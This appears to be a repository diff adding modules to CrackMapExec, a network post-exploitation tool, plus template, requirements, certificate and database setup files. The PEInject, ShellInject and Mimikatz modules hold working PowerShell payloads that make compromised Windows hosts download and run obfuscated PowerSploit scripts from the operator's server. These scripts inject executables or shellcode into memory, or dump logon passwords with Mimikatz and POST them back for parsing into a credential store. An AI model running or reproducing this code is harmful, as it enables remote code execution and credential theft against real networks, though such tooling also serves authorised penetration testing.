context.log.debug('Payload:{}'.format(payload))
|
||||
payload = create_ps_command(payload, force_ps32=True)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
|
||||
def on_request(self, context, request):
|
||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1', 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
|
||||
request.stop_tracking_host()
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
request.end_headers()
|
|
@ -0,0 +1,82 @@
|
|||
from core.helpers import gen_random_string, create_ps_command, obfs_ps_script
|
||||
from sys import exit
|
||||
import os
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
'''
|
||||
name = 'PEInject'
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
PATH Path to dll/exe to inject
|
||||
PROCID Process ID to inject into (default: current powershell process)
|
||||
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
|
||||
'''
|
||||
|
||||
if not 'PATH' in module_options:
|
||||
context.log.error('PATH option is required!')
|
||||
exit(1)
|
||||
|
||||
self.payload_path = os.path.expanduser(module_options['PATH'])
|
||||
if not os.path.exists(self.payload_path):
|
||||
context.log.error('Invalid path to EXE/DLL!')
|
||||
exit(1)
|
||||
|
||||
self.procid = None
|
||||
self.exeargs = None
|
||||
|
||||
if 'PROCID' in module_options:
|
||||
self.procid = module_options['PROCID']
|
||||
|
||||
if 'EXEARGS' in module_options:
|
||||
self.exeargs = module_options['EXEARGS']
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
|
||||
$WebClient = New-Object System.Net.WebClient;
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
|
||||
Invoke-{func_name} -PEBytes $bytes""".format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name,
|
||||
pefile=os.path.basename(self.payload_path))
|
||||
|
||||
if self.procid:
|
||||
payload += ' -ProcessID {}'.format(self.procid)
|
||||
|
||||
if self.exeargs:
|
||||
payload += ' -ExeArgs "{}"'.format(self.exeargs)
|
||||
|
||||
context.log.debug('Payload:{}'.format(payload))
|
||||
payload = create_ps_command(payload, force_ps32=True)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
|
||||
def on_request(self, context, request):
|
||||
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open('data/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1', 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
|
||||
elif os.path.basename(self.payload_path) == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(self.payload_path, 'rb') as payload:
|
||||
request.wfile.write(payload.read())
|
||||
|
||||
request.stop_tracking_host()
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
request.end_headers()
|
|
@ -0,0 +1,75 @@
|
|||
import os
|
||||
from core.helpers import gen_random_string, create_ps_command, obfs_ps_script
|
||||
from sys import exit
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
'''
|
||||
name = 'ShellInject'
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
PATH Path to the raw shellcode to inject
|
||||
PROCID Process ID to inject into (default: current powershell process)
|
||||
'''
|
||||
|
||||
if not 'PATH' in module_options:
|
||||
context.log.error('PATH option is required!')
|
||||
exit(1)
|
||||
|
||||
self.shellcode_path = os.path.expanduser(module_options['PATH'])
|
||||
if not os.path.exists(self.shellcode_path):
|
||||
context.log.error('Invalid path to shellcode!')
|
||||
exit(1)
|
||||
|
||||
self.procid = None
|
||||
|
||||
if 'PROCID' in module_options.keys():
|
||||
self.procid = module_options['PROCID']
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
|
||||
$WebClient = New-Object System.Net.WebClient;
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
|
||||
Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name,
|
||||
shellcode=os.path.basename(self.shellcode_path))
|
||||
|
||||
if self.procid:
|
||||
payload += ' -ProcessID {}'.format(self.procid)
|
||||
|
||||
context.log.debug('Payload:{}'.format(payload))
|
||||
payload = create_ps_command(payload, force_ps32=True)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
|
||||
def on_request(self, context, request):
|
||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1' ,'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
|
||||
elif os.path.basename(self.shellcode_path) == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(self.shellcode_path, 'rb') as shellcode:
|
||||
request.wfile.write(shellcode.read())
|
||||
|
||||
#Target has the shellcode, stop tracking the host
|
||||
request.stop_tracking_host()
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
request.end_headers()
|
|
@ -0,0 +1,100 @@
|
|||
from core.helpers import create_ps_command, obfs_ps_script, gen_random_string
|
||||
from datetime import datetime
|
||||
from StringIO import StringIO
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Executes PowerSploit's Invoke-Mimikatz.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
'''
|
||||
|
||||
name = 'Mimikatz'
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
COMMAND Mimikatz command to execute
|
||||
'''
|
||||
|
||||
self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit'
|
||||
|
||||
if module_options and 'COMMAND' in module_options:
|
||||
self.mimikatz_command = module_options['COMMAND']
|
||||
|
||||
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = '''
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
||||
$creds = Invoke-{func_name} -Command '{command}';
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();'''.format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name,
|
||||
command=self.mimikatz_command)
|
||||
|
||||
context.log.debug('Payload: {}'.format(payload))
|
||||
payload = create_ps_command(payload)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
|
||||
def on_request(self, context, request):
|
||||
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open('data/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1', 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
request.end_headers()
|
||||
|
||||
def on_response(self, context, response):
|
||||
response.send_response(200)
|
||||
response.end_headers()
|
||||
length = int(response.headers.getheader('content-length'))
|
||||
data = response.rfile.read(length)
|
||||
|
||||
#We've received the response, stop tracking this host
|
||||
response.stop_tracking_host()
|
||||
|
||||
#No reason to parse for passwords if we didn't run the default command
|
||||
if 'sekurlsa::logonpasswords' in self.mimikatz_command:
|
||||
buf = StringIO(data).readlines()
|
||||
plaintext_creds = []
|
||||
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
||||
passw = buf[i].split(':')[1].strip()
|
||||
domain = buf[i-1].split(':')[1].strip().upper()
|
||||
user = buf[i-2].split(':')[1].strip().lower()
|
||||
|
||||
#Dont parse machine accounts
|
||||
if not user[-1:] == '$':
|
||||
context.db.add_credential('plaintext', domain, user, passw)
|
||||
plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw))
|
||||
|
||||
i += 1
|
||||
|
||||
if plaintext_creds:
|
||||
context.log.success('Found plain text credentials (domain\\user:password)')
|
||||
for cred in plaintext_creds:
|
||||
context.log.highlight(cred)
|
||||
|
||||
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
with open('logs/' + log_name, 'w') as mimikatz_output:
|
||||
mimikatz_output.write(data)
|
||||
context.log.info("Saved Mimikatz's output to {}".format(log_name))
|
|
@ -0,0 +1,28 @@
|
|||
class CMEModule:
|
||||
'''
|
||||
Example
|
||||
Module by @yomama
|
||||
|
||||
'''
|
||||
|
||||
name = 'Example'
|
||||
|
||||
def options(self, context, args):
|
||||
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
|
||||
pass
|
||||
|
||||
def on_request(self, context, request):
|
||||
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
|
||||
pass
|
||||
|
||||
def on_response(self, context, response):
|
||||
'''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
|
||||
pass
|
|
@ -1,4 +1,4 @@
|
|||
git+git://github.com/CoreSecurity/impacket
|
||||
git+https://github.com/CoreSecurity/impacket
|
||||
gevent
|
||||
netaddr
|
||||
pycrypto
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
#!/bin/bash
|
||||
openssl req -new -x509 -keyout ../data/cme.pem -out ../data/cme.pem -days 365 -nodes -subj "/C=US"
|
||||
echo -e "\n\n [*] Certificate written to ../data/cme.pem\n"
|
|
@ -0,0 +1,31 @@
|
|||
import sqlite3
|
||||
|
||||
conn = sqlite3.connect('../data/cme.db')
|
||||
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some of the weird sqlite I/O errors
|
||||
c.execute('PRAGMA journal_mode = OFF')
|
||||
|
||||
c.execute('''CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"domain" test,
|
||||
"os" text
|
||||
)''')
|
||||
|
||||
# type = hash, plaintext
|
||||
c.execute('''CREATE TABLE "credentials" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"credtype" text,
|
||||
"domain" text,
|
||||
"username" text,
|
||||
"password" text
|
||||
)''')
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
print "[*] Database setup completed!"
|
Loading…
Reference in New Issue